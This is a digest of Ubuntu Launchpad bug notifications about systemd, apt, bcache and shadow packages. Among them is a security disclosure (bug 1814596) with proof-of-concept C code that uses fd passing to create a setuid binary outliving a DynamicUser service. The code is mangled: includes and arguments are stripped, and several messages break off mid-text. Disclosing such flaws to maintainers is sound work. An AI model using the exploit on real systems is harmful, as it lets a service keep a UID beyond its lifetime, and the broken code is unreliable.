Status in bcache-tools source package in Bionic:
  New
Status in linux source package in Bionic:
  New
Status in linux-signed source package in Bionic:
  New
Status in systemd source package in Bionic:
  New
Status in bcache-tools source package in Focal:
  Confirmed
Status in linux source package in Focal:
  Invalid
Status in linux-signed source package in Focal:
  Confirmed
Status in systemd source package in Focal:
  Confirmed
Status in bcache-tools source package in Groovy:
  Triaged
Status in linux source package in Groovy:
  Incomplete
Status in linux-signed source package in Groovy:
  Confirmed
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  1.
  root@ubuntu:~# lsb_release -rd
  Description:  Ubuntu Focal Fossa (development branch)
  Release:  20.04

  2. 
  root@ubuntu:~# lsb_release -rd
  Description:  Ubuntu Focal Fossa (development branch)
  Release:  20.04
  root@ubuntu:~# apt-cache policy linux-image-virtual 
  linux-image-virtual:
Installed: 5.4.0.12.15
Candidate: 5.4.0.12.15
Version table:
   *** 5.4.0.12.15 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status
  root@ubuntu:~# apt-cache policy linux-image-5.4.0-12-generic 
  linux-image-5.4.0-12-generic:
Installed: 5.4.0-12.15
Candidate: 5.4.0-12.15
Version table:
   *** 5.4.0-12.15 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  3. mount /dev/bcache0 && ls -al /dev/bcache/by-uuid/
  + ls -al /dev/bcache/by-uuid/
  total 0
  drwxr-xr-x 2 root root 60 Feb  4 23:31 .
  drwxr-xr-x 3 root root 60 Feb  4 23:31 ..
  lrwxrwxrwx 1 root root 13 Feb  4 23:31 abdfd1f6-44ce-4266-91db-24667b9ae51a 
-> ../../bcache0

  4.
  root@ubuntu:~# ls -al /dev/bcache/by-uuid
  ls: cannot access '/dev/bcache/by-uuid': No such file or directory

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: linux-image-5.4.0-12-generic 5.4.0-12.15
  ProcVersionSignature: Ubuntu 5.4.0-12.15-generic 5.4.8
  Uname: Linux 5.4.0-12-generic x86_64
  ApportVersion: 2.20.11-0ubuntu16
  Architecture: amd64
  Date: Tue Feb  4 23:31:52 2020
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  SourcePackage: linux-signed-5.4
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bcache-tools/+bug/1861941/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1849156] Re: systemd-timesyncd.service broken on upgrade to 19.10 if ntp was installed

[Dan Streetman]

I'm marking this as wontfix for Eoan, as it's EOL in just a few weeks;
please upgrade to Focal if still affected by this bug.

** Changed in: systemd (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1849156

Title:
  systemd-timesyncd.service broken on upgrade to 19.10 if ntp was
  installed

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd source package in Focal:
  Fix Released
Status in systemd package in Debian:
  Fix Released

Bug description:
  Ubuntu 19.10's systemd package introduced /lib/systemd/system/systemd-
  timesyncd.service.d/disable-with-time-daemon.conf.  This prevents
  systemd-timesyncd.service from starting if the ntp package has been
  installed.  However, ntp.service has a Conflicts directive for
  systemd-timesyncd.service.  If both services are enabled, neither will
  start on boot.  This breaks upgrades from < 19.10 to 19.10 for systems
  that have both ntp and systemd installed.

  Possible workarounds:

  - Uninstall ntp
  - Disable systemd-timesyncd.service

  % lsb_release -rd
  Description:Ubuntu 19.10
  Release:19.10

  % apt-cache policy systemd
  systemd:
Installed: 242-7ubuntu3
Candidate: 242-7ubuntu3
Version table:
   *** 242-7ubuntu3 500
  500 http://us-east-1.ec2.archive.ubuntu.com/ubuntu eoan/main amd64 
Packages
  100 /var/lib/dpkg/status

  % apt-cache policy ntp
  ntp:
Installed: 1:4.2.8p12+dfsg-3ubuntu2
Candidate: 1:4.2.8p12+dfsg-3ubuntu2
Version table:
   *** 1:4.2.8p12+dfsg-3ubuntu2 500
  500 http://us-east-1.ec2.archive.ubuntu.com/ubuntu eoan/universe 
amd64 Packages
  100 /var/lib/dpkg/status

  % dpkg -S 
/lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf
  systemd: 
/lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf

  % sudo systemctl status ntp
  ● ntp.service - Network Time Service
 Loaded: loaded (/lib/systemd/system/ntp.service; enabled; vendor preset: 
enabled)
 Active: inactive (dead)
   Docs: man:ntpd(8)

  % sudo systemctl status systemd-timesyncd.service
  ● systemd-timesyncd.service - Network Time Synchronization
 Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled; 
vendor preset: enabled)
Drop-In: /lib/systemd/system/systemd-timesyncd.service.d
 └─disable-with-time-daemon.conf
 Active: inactive (dead)
  Condition: start condition failed at Mon 2019-10-21 12:05:38 EDT; 29s ago
   Docs: man:systemd-timesyncd.service(8)

  Oct 21 12:05:38 ubuntu systemd[1]: Condition check resulted in Network
  Time Synchronization being skipped.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1849156/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1874661] Re: networkd sometimes doesn't set mtu received by dhcp

[Dan Streetman]

Sorry, Eoan is EOL in just a few weeks, and I don't think this will make
it.  please upgrade to Focal if still affected by this bug.

** Changed in: systemd (Ubuntu Eoan)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1874661

Title:
  networkd sometimes doesn't set mtu received by dhcp

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd source package in Focal:
  Fix Released

Bug description:
  I'm running ubuntu-minimal-1910-eoan on google compute engine with systemd 
242-7ubuntu3.7.
  GCE has mtu 1460, set by dhcp. After having networking issues, I figured out 
that the mtu on the interface was sometimes incorrectly set to 1500.
  I manually changed it to 1420 to have a working system again and enabled 
debugging for systemd-networkd.

  Log (filtered for ens4, some columns removed for better readability):
  09:51:00 ens4: New device has no master, continuing without
  09:51:00 ens4: Flags change: +UP +LOWER_UP +RUNNING +MULTICAST +BROADCAST
  09:51:00 ens4: Link 2 added
  09:51:00 ens4: udev initialized link
  09:51:00 ens4: Saved original MTU: 1420
  09:51:00 ens4: Adding address: fe80::4001:aff:fea4:2/64 (valid forever)
  09:51:00 ens4: Gained IPv6LL
  09:51:00 ens4: Adding address: 10.164.0.2/32 (valid for 15h 15s)
  09:51:00 ens4: Adding route: dst: ff00::/8, src: n/a, gw: n/a, prefsrc: n/a
  09:51:00 ens4: Adding route: dst: fe80::4001:aff:fea4:2/128, src: n/a, gw: 
n/a, prefsrc: n/a
  09:51:00 ens4: Adding route: dst: fe80::/64, src: n/a, gw: n/a, prefsrc: n/a
  09:51:00 ens4: Adding route: dst: 10.164.0.2/32, src: n/a, gw: n/a, prefsrc: 
10.164.0.2
  09:51:00 ens4: Adding route: dst: 10.164.0.1/32, src: n/a, gw: n/a, prefsrc: 
10.164.0.2
  09:51:00 ens4: Adding route: dst: n/a, src: n/a, gw: 10.164.0.1, prefsrc: 
10.164.0.2
  09:51:00 ens4: Link state is up-to-date
  09:51:00 ens4: found matching network 
'/run/systemd/network/10-netplan-ens4.network'
  09:51:00 Setting '/proc/sys/net/ipv6/conf/ens4/proxy_ndp' to '0'
  09:51:00 Setting '/proc/sys/net/ipv6/conf/ens4/use_tempaddr' to '0'
  09:51:00 Setting '/proc/sys/net/ipv6/conf/ens4/accept_ra' to '0'
  09:51:00 ens4: Started LLDP.
  09:51:00 ens4: Setting address genmode for link
  09:51:00 ens4: Setting address genmode done.
  09:51:00 ens4: Removing address 10.164.0.2
  09:51:00 ens4: Acquiring DHCPv4 lease
  09:51:00 ens4: Discovering IPv6 routers
  09:51:00 ens4: Removing address: 10.164.0.2/32 (valid for 15h 15s)
  09:51:00 ens4: Removing route: dst: 10.164.0.2/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  09:51:00 ens4: DHCPv4 address 10.164.0.2/32 via 10.164.0.1
  09:51:00 ens4: Setting MTU: 1460
  09:51:00 Setting '/proc/sys/net/ipv6/conf/ens4/disable_ipv6' to '0'
  09:51:00 ens4: IPv6 successfully enabled
  09:51:00 ens4: Setting MTU done.
  09:51:00 ens4: Updating address: 10.164.0.2/32 (valid for 1d)
  09:51:00 ens4: Adding route: dst: 10.164.0.2/32, src: n/a, gw: n/a, prefsrc: 
10.164.0.2
  09:51:00 ens4: Configuring route: dst: 10.164.0.1/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  09:51:00 ens4: Configuring route: dst: n/a, src: n/a, gw: 10.164.0.1, 
prefsrc: 10.164.0.2
  09:51:00 ens4: Updating route: dst: 10.164.0.1/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  09:51:00 ens4: Updating route: dst: n/a, src: n/a, gw: 10.164.0.1, prefsrc: 
10.164.0.2
  09:51:00 ens4: Configured
  21:50:59 ens4: DHCP lease lost
  21:50:59 ens4: Removing address 10.164.0.2
  21:50:59 ens4: Setting MTU: 1420
  21:50:59 Setting '/proc/sys/net/ipv6/conf/ens4/disable_ipv6' to '0'
  21:50:59 ens4: IPv6 successfully enabled
  21:50:59 ens4: DHCPv4 address 10.164.0.2/32 via 10.164.0.1
  21:50:59 ens4: Removing route: dst: 10.164.0.1/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  21:50:59 ens4: Removing route: dst: n/a, src: n/a, gw: 10.164.0.1, prefsrc: 
10.164.0.2
  21:50:59 ens4: Removing address: 10.164.0.2/32 (valid for 12h 1s)
  21:50:59 ens4: Removing route: dst: 10.164.0.2/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  21:50:59 ens4: Setting MTU done.
  21:50:59 ens4: Adding address: 10.164.0.2/32 (valid for 1d)
  21:50:59 ens4: Adding route: dst: 10.164.0.2/32, src: n/a, gw: n/a, prefsrc: 
10.164.0.2
  21:50:59 ens4: Configuring route: dst: 10.164.0.1/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  21:50:59 ens4: Configuring route: dst: n/a, src: n/a, gw: 10.164.0.1, 
prefsrc: 10.164.0.2
  21:50:59 ens4: Updating route: dst: 10.164.0.1/32, src: n/a, gw: n/a, 
prefsrc: 10.164.0.2
  21:50:59 ens4: Updating route: dst: n/a, src: n/a, gw: 10.164.0.1, prefsrc: 
10.164.0.2
  21:50:59 ens4: Configured

  On dhcp renew (09:51:00), mtu got properly changed to 1460.
  On next dhcp renew (21:50:59) it got changed back to previous value 1420.
  In all cases, /run/systemd/netif/leases/2 correctly contained MTU=1460.

  There have been 

[Touch-packages] [Bug 1742804] Re: Failed to add PIDs to scope's control group

[Dan Streetman]

> > status: Unknown → Fix Released
> 
> Still affects me too. I don't see fix released for Bionic.

that refers to the status in upstream systemd, not Bionic.

As I noted in the bug description, this requires a quite large patchset
to fix in Bionic; I'm not sure when/if that might get backported.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1742804

Title:
  Failed to add PIDs to scope's control group

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Confirmed

Bug description:
  [impact]

  systemd-run --user --scope fails

  [test case]

  $ systemd-run --user --scope echo hello
  Job for run-r150c7437bf8a4c5e919acbbc3de0b29c.scope failed.
  See "systemctl status run-r150c7437bf8a4c5e919acbbc3de0b29c.scope" and 
"journalctl -xe" for details.

  [regression potential]

  large.  this is fixed upstream by a large sequence of patches, and
  would need careful attention applying them all to make sure no
  regressions were introduced.

  If I, or anyone else, attempts this backport, they definitely need to
  add more detail to this section.

  [scope]

  This is fixed upstream by this large PR:
  https://github.com/systemd/systemd/pull/8125

  That's included starting in systemd v238, so just missed the Bionic
  version.  This is fixed already in all releases after Bionic, and
  needed only for Bionic.

  [original description]

  
  When I launch applications with flatpak, "journalctl -f" shows the following:

  Jan 11 22:44:13 localhost systemd[1244]: flatpak-org.kde.krita-8134.scope: 
Failed to add PIDs to scope's control group: Permission denied
  Jan 11 22:44:13 localhost systemd[1244]: Failed to start 
flatpak-org.kde.krita-8134.scope.
  Jan 11 22:44:13 localhost systemd[1244]: flatpak-org.kde.krita-8134.scope: 
Unit entered failed state.

  I explicitly mentioned "Kubuntu" in the summary, because I experience
  this only under Kubuntu (17.10 and 18.04), NOT under the regular
  Gnome-based Ubuntu Desktop (17.10). At first this error message seemed
  harmless, because it looked like it had no effect. But now I noticed
  that with certain flatpak apps, the file open dialog would not pop up.
  And I too experienced this only under Kubuntu, not Ubuntu or Fedora
  (all tested). So there might be a connection.

  I first reported this to flatpak:

  https://github.com/flatpak/flatpak/issues/1216

  There it was suggested to try the following command:

  $ systemd-run --user --scope echo hello
  Job for run-r150c7437bf8a4c5e919acbbc3de0b29c.scope failed.
  See "systemctl status run-r150c7437bf8a4c5e919acbbc3de0b29c.scope" and 
"journalctl -xe" for details.

  ...and this one also fails.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1742804/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861941] Re: bcache by-uuid links disappear after mounting bcache0

[Dan Streetman]

@rbalint @raharper a commit is in the ubuntu-focal git repo for this:
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=3c228b1d9c5d83d7f0f7b7d8f2053a81de57f33c

I was prepping focal for upload, but on reading the last few comments,
should I revert that commit from the focal branch and upload the next
systemd focal version without it? Or should it be included in the focal
upload? Do we need to hold off on updating focal until it's resolved
upstream?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1861941

Title:
  bcache by-uuid links disappear after mounting bcache0

Status in bcache-tools package in Ubuntu:
  Triaged
Status in linux package in Ubuntu:
  Incomplete
Status in linux-signed package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Fix Released
Status in bcache-tools source package in Bionic:
  New
Status in linux source package in Bionic:
  New
Status in linux-signed source package in Bionic:
  New
Status in systemd source package in Bionic:
  New
Status in bcache-tools source package in Focal:
  Confirmed
Status in linux source package in Focal:
  Invalid
Status in linux-signed source package in Focal:
  Confirmed
Status in systemd source package in Focal:
  Confirmed
Status in bcache-tools source package in Groovy:
  Triaged
Status in linux source package in Groovy:
  Incomplete
Status in linux-signed source package in Groovy:
  Confirmed
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  1.
  root@ubuntu:~# lsb_release -rd
  Description:  Ubuntu Focal Fossa (development branch)
  Release:  20.04

  2. 
  root@ubuntu:~# lsb_release -rd
  Description:  Ubuntu Focal Fossa (development branch)
  Release:  20.04
  root@ubuntu:~# apt-cache policy linux-image-virtual 
  linux-image-virtual:
Installed: 5.4.0.12.15
Candidate: 5.4.0.12.15
Version table:
   *** 5.4.0.12.15 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status
  root@ubuntu:~# apt-cache policy linux-image-5.4.0-12-generic 
  linux-image-5.4.0-12-generic:
Installed: 5.4.0-12.15
Candidate: 5.4.0-12.15
Version table:
   *** 5.4.0-12.15 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  3. mount /dev/bcache0 && ls -al /dev/bcache/by-uuid/
  + ls -al /dev/bcache/by-uuid/
  total 0
  drwxr-xr-x 2 root root 60 Feb  4 23:31 .
  drwxr-xr-x 3 root root 60 Feb  4 23:31 ..
  lrwxrwxrwx 1 root root 13 Feb  4 23:31 abdfd1f6-44ce-4266-91db-24667b9ae51a 
-> ../../bcache0

  4.
  root@ubuntu:~# ls -al /dev/bcache/by-uuid
  ls: cannot access '/dev/bcache/by-uuid': No such file or directory

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: linux-image-5.4.0-12-generic 5.4.0-12.15
  ProcVersionSignature: Ubuntu 5.4.0-12.15-generic 5.4.8
  Uname: Linux 5.4.0-12-generic x86_64
  ApportVersion: 2.20.11-0ubuntu16
  Architecture: amd64
  Date: Tue Feb  4 23:31:52 2020
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  SourcePackage: linux-signed-5.4
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bcache-tools/+bug/1861941/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844634] Re: Removals keep removing dependencies if removal of a package fails

[Steve Langasek]

** Changed in: apt (Ubuntu Disco)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1844634

Title:
  Removals keep removing dependencies if removal of a package fails

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Disco:
  Won't Fix
Status in apt package in Debian:
  Fix Released

Bug description:
  [Impact]

  Assuming packages A and B, with A depending on B. A has a failing
  prerm script.

  Expected behavior:
  - A fails to be removed, A and B stay unchanged
  Actual behavior:
  - A fails to be removed
  - B is still removed

  This might crash their system (e.g. if A is systemd and B is
  libsystemd0).

  [Test case]
  See Impact. An automated version of the test case 
(test-apt-get-remove-depends) is included and run on autopkgtest.

  [Regression potential]
  We now abort earlier in removal failures, that might be harder to recover 
from or not, nobody really knows.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1844634/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814596] Re: DynamicUser can create setuid binaries when assisted by another process

[Steve Langasek]

** Changed in: systemd (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814596

Title:
  DynamicUser can create setuid binaries when assisted by another
  process

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Disco:
  Won't Fix

Bug description:
  [I am sending this bug report to Ubuntu as requested by systemd at
  
.]

  This bug report describes a bug in systemd that allows a service with
  DynamicUser in collaboration with another service or user to create a setuid
  binary that can be used to access its UID beyond the lifetime of the service.
  This bug probably has relatively low severity, given that there aren't many
  services yet that use DynamicUser, and the requirement of collaboration with
  another process limits the circumstances in which it would be useful to an
  attacker further; but in a system that makes heavy use of DynamicUser, it 
would
  probably have impact.

  

  says:

  In order to allow the service to write to certain directories, they have 
to
  be whitelisted using ReadWritePaths=, but care must be taken so that 
UID/GID
  recycling doesn't create security issues involving files created by the
  service.

  While I was chatting about DynamicUser with catern on IRC, I noticed that
  DynamicUser doesn't isolate the service from the rest of the system in terms 
of
  UNIX domain sockets; therefore, if a collaborating user passes a file 
descriptor
  to a world-writable path outside the service's mount namespace into the
  service, the service can then create setuid files that can be used by the
  collaborating user beyond the lifetime of the service.

  
  To reproduce:

  As a user:
  ==
  user@deb10:~$ mkdir systemd_uidleak
  user@deb10:~$ cd systemd_uidleak
  user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
setbuf(stdout, NULL);

// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *), sizeof(sa_family_t)+1+8))
  err(1, "unable to bind abstract socket");
puts("waiting for connection from outside the service...");

// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
  .msg_control = hdr,
  .msg_controllen = len
};
if (recvmsg(s, , 0) < 0) err(1, "unable to receive fd");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
  errx(1, "got bad message");
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real 
root");
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
printf("chdir successful, am now in %s\n", curpath);

// create suid file
int src_fd = open("suid_src", O_RDONLY);
if (src_fd == -1) err(1, "open suid_src");
int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, "open suid_dst");

while (1) {
  char buf[1000];
  ssize_t res = read(src_fd, buf, sizeof(buf));
  if (res == -1) err(1, "read");
  if (res == 0) break;
  ssize_t res2 = write(dst_fd, buf, res);
  if (res2 != res) err(1, "write");
}

if (fchmod(dst_fd, 04755)) err(1, "fchmod");
close(src_fd);
close(dst_fd);

// and that's it!
puts("done!");
while (1) pause();
return 0;
  }
  user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
  user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int rootfd = open(".", O_PATH);
if (rootfd < 0) err(1, "unable to open cwdfd");
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (connect(s, (struct sockaddr *), sizeof(sa_family_t)+1+8))
  err(1, "unable to connect to abstract socket");
puts("connected to other chroot, sending cwdfd...");

[Touch-packages] [Bug 1840995] Re: check_stamp() function of apt.systemd.daily should not assume interval is a number

[Steve Langasek]

** Changed in: apt (Ubuntu Disco)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1840995

Title:
  check_stamp() function of apt.systemd.daily should not assume interval
  is a number

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Disco:
  Won't Fix

Bug description:
  [Impact]
  Warning messages when using suffixes in intervals such as d for day

  /usr/lib/apt/apt.systemd.daily: 87: [: Illegal number: 20h

  [Test case]
  Create 99local in apt.conf.d with
  APT::Periodic::Update-Package-Lists "1d";
  and run /usr/lib/apt/apt.systemd.daily - make sure no warning appears.

  [Regression potential]
  The fix replaces -eq 0 checks with = 0 checks which might have different 
behavior in case -eq also accepts some values as equal to 0 that are not 
literally 0 and that now no longer match. But then you'd have to do stuff like 
set the interval to "+0", and it seems unrealistic people do that.

  [Original bug report]
  In the second half of the function there is

  # Calculate the interval in seconds depending on the unit specified
  if [ "${interval%s}" != "$interval" ] ; then
  interval="${interval%s}"
  elif [ "${interval%m}" != "$interval" ] ; then
  interval="${interval%m}"
  interval=$((interval*60))
  elif [ "${interval%h}" != "$interval" ] ; then
  interval="${interval%h}"
  interval=$((interval*60*60))
  else
  interval="${interval%d}"
  interval=$((interval*60*60*24))
  fi

  so, a variable might hold something like "1d", "100m", etc.

  Yet in the first there is a condition

  if [ "$interval" -eq 0 ]; then
  debug_echo "check_stamp: interval=0"
  # treat as no time has passed
  return 1
  fi

  which treats the value as a number and leads to

  /usr/lib/apt/apt.systemd.daily: 87: [: Illegal number: 20h

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1840995/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1840435] Re: Systemd >=240 sets a clamp of 64MB for RLIMIT_MEMLOCK, too low for some applications.

[Steve Langasek]

** Changed in: systemd (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1840435

Title:
  Systemd >=240 sets a clamp of 64MB for RLIMIT_MEMLOCK, too low for
  some applications.

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix

Bug description:
  Systemd >= 240 sets a clamp for RLIMIT_MEMLOCK, which is too low for
  some realistic applications.  This clamp should probably be increased.
  This breaks a number of current jackd setups, for example.

  See upstream bug: https://github.com/systemd/systemd/issues/13331.

  This occurs on at Ubuntu Disco and newer, Disco being the first
  release to ship with systemd >= 240.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1840435/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1840375] Re: groupdel doesn't support extrausers

[Steve Langasek]

** Changed in: shadow (Ubuntu Disco)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1840375

Title:
  groupdel doesn't support extrausers

Status in snapd:
  Triaged
Status in shadow package in Ubuntu:
  Fix Released
Status in shadow source package in Xenial:
  Fix Committed
Status in shadow source package in Bionic:
  Fix Committed
Status in shadow source package in Disco:
  Won't Fix

Bug description:
  snapd needs the ability to call 'groupdel --extrausers foo' to clean
  up after itself, but --extrausers is currently unsupported.

  [Impact]
  On ubuntu-core systems we want to be able to manage "extrausers" in the same
  way as regular users. This requires updates to the various 
{user,group}{add,del} tools. Right now "groupdel" cannot handle extrausers.

  This is an important feature for Ubuntu Core

  [Test Case]
  0. upgrade the "passwd" to the version in {xenial,bionic}-proposed
  1. install the libnss-extrausers and add "extrauers" to the passwd and shadow 
line (see /usr/share/doc/libnss-extrausers/README for the modifications in 
sswitch.conf)
  2. run "groupadd --extrausers foo" and verify "grep foo 
/var/lib/extrausers/group"
  3  check /var/lib/extrausers/group for the new "foo" group
  4. run "groupdel --extrausers foo"
  5. check /var/lib/extrausers/group and ensure the "foo" group is removed

  [Regression Potential]

   * low: this adds a new (optional) option which is off by default

To manage notifications about this bug go to:
https://bugs.launchpad.net/snapd/+bug/1840375/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881972] Re: systemd-networkd crashes with invalid pointer

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ systemd-networkd double-free causes crash under some circumstances, such
+ as adding/removing ip rules
+ 
+ [test case]
+ 
+ see original description
+ 
+ [regression potential]
+ 
+ this strdup's strings during addition of routing policy rules, so any
+ regression would likely occur when adding/modifying/removing ip rules,
+ possibly including networkd segfault or failure to add/remove/modify ip
+ rules.
+ 
+ [scope]
+ 
+ this is needed for bionic.
+ 
+ this is fixed by upstream commit
+ eeab051b28ba6e1b4a56d369d4c6bf7cfa71947c which is included starting in
+ v240, so this is already included in Focal and later.
+ 
+ I did not research what original commit introduced the problem, but the
+ reporter indicates this did not happen for Xenial so it's unlikely this
+ is a problem in Xenial or earlier.
+ 
+ [original description]
+ 
  This is a serious regression with systemd-networkd that I ran in to
  while setting up a NAT router in AWS. The AWS AMI ubuntu/images/hvm-ssd
  /ubuntu-bionic-18.04-amd64-server-20200131 with systemd-237-3ubuntu10.33
  does NOT have the problem, but the next most recent AWS AMI
  ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-20200311 with
  systemd-including 237-3ubuntu10.39 does.
  
  Also, a system booted from the (good) 20200131 AMI starts showing the
  problem after updating only systemd (to 237-3ubuntu10.41) and its direct
  dependencies (e.g. 'apt-get install systemd'). So I'm fairly confident
  that a change to the systemd package between 237-3ubuntu10.33 and
  237-3ubuntu10.39 introduced the problem and it is still present.
  
  On the NAT router I use three interfaces and have separate routing
  tables for admin and forwarded traffic. Things come up fine initially
  but every 30-60 minutes (DHCP lease renewal time?) one or more
  interfaces is reconfigured and most of the time systemd-networkd will
  crash and need to be restarted. Eventually the system becomes
  unreachable when the default crash loop backoff logic prevents the
  network service from being restarted at all. The log excerpt attached
  illustrates the crash loop.
  
  Also including the netplan and networkd config files below.
  
  # grep . /etc/netplan/*
  /etc/netplan/50-cloud-init.yaml:# This file is generated from information 
provided by the datasource.  Changes
  /etc/netplan/50-cloud-init.yaml:# to it will not persist across an instance 
reboot.  To disable cloud-init's
  /etc/netplan/50-cloud-init.yaml:# network configuration capabilities, write a 
file
